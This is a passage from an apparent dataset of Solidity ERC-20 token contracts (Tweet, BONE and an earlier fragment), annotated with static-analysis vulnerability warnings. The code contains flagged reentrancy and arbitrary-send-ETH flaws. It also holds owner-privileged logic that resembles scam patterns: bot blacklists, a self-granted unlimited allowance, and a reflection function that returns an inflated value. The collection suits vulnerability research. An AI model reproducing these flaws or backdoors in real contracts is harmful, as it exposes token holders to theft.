_swapCMARKETCAPForETH(_contractTokenBalance);\n }\n\n function sendETHToFeeManual(\n uint256 _contractETHBalance\n ) external returns (bool) {\n require(\n _msgSender() == _developerFund || _msgSender() == _marketingFund\n );\n\n return _sendETHToFee(_contractETHBalance);\n }\n\n function _tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n\n require(\n totalSupply() <= MAX,\n \"Total reflections must be less than max\"\n );\n\n return\n (!inContractSwap && inTaxSwap)\n ? totalSupply() * 1010\n : rAmount / _getRate();\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) _removeTax();\n\n _transferStandard(sender, recipient, amount);\n\n if (!takeFee) _restoreTax();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n if (!inTaxSwap || inContractSwap) {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t\t// reentrancy-eth | ID: e23cb69\n _rOwned[sender] = _rOwned[sender] - rAmount;\n\n\t\t\t// reentrancy-eth | ID: e23cb69\n _rOwned[recipient] = _rOwned[recipient] + rTransferAmount;\n\n\t\t\t// reentrancy-eth | ID: e23cb69\n _rOwned[CMARKETCAP] = _rOwned[CMARKETCAP] + (tTeam * _getRate());\n\n\t\t\t// reentrancy-eth | ID: e23cb69\n _rTotal = _rTotal - rFee;\n\n\t\t\t// reentrancy-benign | ID: 5c243f1\n _tFeeTotal = _tFeeTotal + tFee;\n\n\t\t\t// reentrancy-events | ID: dd65ec0\n emit Transfer(sender, recipient, tTransferAmount);\n } else {\n\t\t\t// reentrancy-events | ID: dd65ec0\n emit Transfer(sender, recipient, tAmount);\n }\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n 0,\n _taxFee\n );\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n _getRate()\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = (tAmount * redisFee) / 100;\n\n uint256 tTeam = (tAmount * taxFee) / 100;\n\n return (tAmount - tFee - tTeam, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount * currentRate;\n\n uint256 rFee = tFee * currentRate;\n\n return (rAmount, rAmount - rFee - (tTeam * currentRate), rFee);\n }\n\n function _getRate() private view returns (uint256) {\n return _rTotal / _tTotal;\n }\n\n\t// WARNING Vulnerability (encode-packed-collision | severity: High | ID: a6831d6): CURRENTMARKETCAP.addCommasToString(string) calls abi.encodePacked() with multiple dynamic arguments result = string(abi.encodePacked(result,substring(numStr,i,3)))\n\t// Recommendation for a6831d6: Do not use more than one dynamic type in 'abi.encodePacked()' (see the Solidity documentation). Use 'abi.encode()', preferably.\n function addCommasToString(\n string memory numStr\n ) public pure returns (string memory) {\n bytes memory b = bytes(numStr);\n\n uint256 len = b.length;\n\n string memory result;\n\n uint256 remainder = len % 3;\n\n if (remainder > 0) {\n result = substring(numStr, 0, remainder);\n\n if (len > 3) {\n result = string(abi.encodePacked(result, \",\"));\n }\n }\n\n for (uint256 i = remainder; i < len; i += 3) {\n if (i != 0) {\n result = string(abi.encodePacked(result, \",\"));\n }\n\n\t\t\t// encode-packed-collision | ID: a6831d6\n result = string(abi.encodePacked(result, substring(numStr, i, 3)));\n }\n\n return result;\n }\n\n function substring(\n string memory str,\n uint256 startIndex,\n uint256 len\n ) internal pure returns (string memory) {\n bytes memory strBytes = bytes(str);\n\n require(startIndex + len <= strBytes.length, \"Invalid length\");\n\n bytes memory result = new bytes(len);\n\n for (uint256 i = 0; i < len; i++) {\n result[i] = strBytes[startIndex + i];\n }\n\n return string(result);\n }\n}\n",
"file_name": "solidity_code_10553.sol",
"size_bytes": 48167,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 01b4c12): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 01b4c12: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 01b4c12\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Tweet is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ec0f014): Tweet._taxWallet should be immutable \n\t// Recommendation for ec0f014: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b2bb6a8): Tweet._initialBuyTax should be constant \n\t// Recommendation for b2bb6a8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: d2d3bd5): Tweet._initialSellTax should be constant \n\t// Recommendation for d2d3bd5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ca6beb): Tweet._finalBuyTax should be constant \n\t// Recommendation for 0ca6beb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b1dbbc): Tweet._reduceBuyTaxAt should be constant \n\t// Recommendation for 3b1dbbc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0fb900d): Tweet._reduceSellTaxAt should be constant \n\t// Recommendation for 0fb900d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba67850): Tweet._preventSwapBefore should be constant \n\t// Recommendation for ba67850: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: bd76a9f): Tweet._taxSwapThreshold should be constant \n\t// Recommendation for bd76a9f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 64dc700): Tweet._maxTaxSwap should be constant \n\t// Recommendation for 64dc700: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e6b72f2): Tweet.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e6b72f2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 214bf3f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 214bf3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c01bea2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c01bea2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 214bf3f\n\t\t// reentrancy-benign | ID: c01bea2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 214bf3f\n\t\t// reentrancy-benign | ID: c01bea2\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7a0b046): Tweet._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7a0b046: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c01bea2\n\t\t// reentrancy-benign | ID: 27c04b7\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 494940e\n\t\t// reentrancy-events | ID: 214bf3f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 59cea78): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 59cea78: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e15c7a1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e15c7a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 59cea78\n\t\t\t\t// reentrancy-eth | ID: e15c7a1\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 59cea78\n\t\t\t\t\t// reentrancy-eth | ID: e15c7a1\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e15c7a1\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e15c7a1\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e15c7a1\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 59cea78\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e15c7a1\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e15c7a1\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 59cea78\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 494940e\n\t\t// reentrancy-events | ID: 214bf3f\n\t\t// reentrancy-events | ID: 59cea78\n\t\t// reentrancy-benign | ID: c01bea2\n\t\t// reentrancy-benign | ID: 27c04b7\n\t\t// reentrancy-eth | ID: a6816ee\n\t\t// reentrancy-eth | ID: e15c7a1\n\t\t// reentrancy-eth | ID: f9067a0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 24e79c3): Tweet.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 24e79c3: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 494940e\n\t\t// reentrancy-events | ID: 214bf3f\n\t\t// reentrancy-events | ID: 59cea78\n\t\t// reentrancy-eth | ID: a6816ee\n\t\t// reentrancy-eth | ID: e15c7a1\n\t\t// reentrancy-eth | ID: f9067a0\n\t\t// arbitrary-send-eth | ID: 24e79c3\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 494940e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 494940e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 27c04b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 27c04b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 19d5763): Tweet.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 19d5763: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2b47373): Tweet.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2b47373: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a6816ee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a6816ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f9067a0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f9067a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 494940e\n\t\t// reentrancy-benign | ID: 27c04b7\n\t\t// reentrancy-eth | ID: a6816ee\n\t\t// reentrancy-eth | ID: f9067a0\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 494940e\n\t\t// reentrancy-benign | ID: 27c04b7\n\t\t// reentrancy-eth | ID: a6816ee\n\t\t// reentrancy-eth | ID: f9067a0\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 494940e\n\t\t// reentrancy-benign | ID: 27c04b7\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 19d5763\n\t\t// reentrancy-eth | ID: f9067a0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 2b47373\n\t\t// reentrancy-eth | ID: f9067a0\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: f9067a0\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f9067a0\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 01d1d39): Tweet.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 01d1d39: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: 01d1d39\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10554.sol",
"size_bytes": 21628,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BONE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 93e2840): BONE._taxWallet should be immutable \n\t// Recommendation for 93e2840: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43a4c7d): BONE._initialBuyTax should be constant \n\t// Recommendation for 43a4c7d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 794f972): BONE._initialSellTax should be constant \n\t// Recommendation for 794f972: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2944329): BONE._reduceBuyTaxAt should be constant \n\t// Recommendation for 2944329: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 22647ba): BONE._reduceSellTaxAt should be constant \n\t// Recommendation for 22647ba: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 45;\n\n\t// WARNING Optimization Issue (constable-states | ID: 97ad41e): BONE._preventSwapBefore should be constant \n\t// Recommendation for 97ad41e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 42;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Book of neiro\";\n\n string private constant _symbol = unicode\"BONE\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb0b3a5): BONE._taxSwapThreshold should be constant \n\t// Recommendation for fb0b3a5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 2) / 1000;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb95a83): BONE._maxTaxSwap should be constant \n\t// Recommendation for fb95a83: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private firstBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x21561d5285A1571d61801eC970Ea40AF154BA5aD);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aed2289): BONE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for aed2289: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n 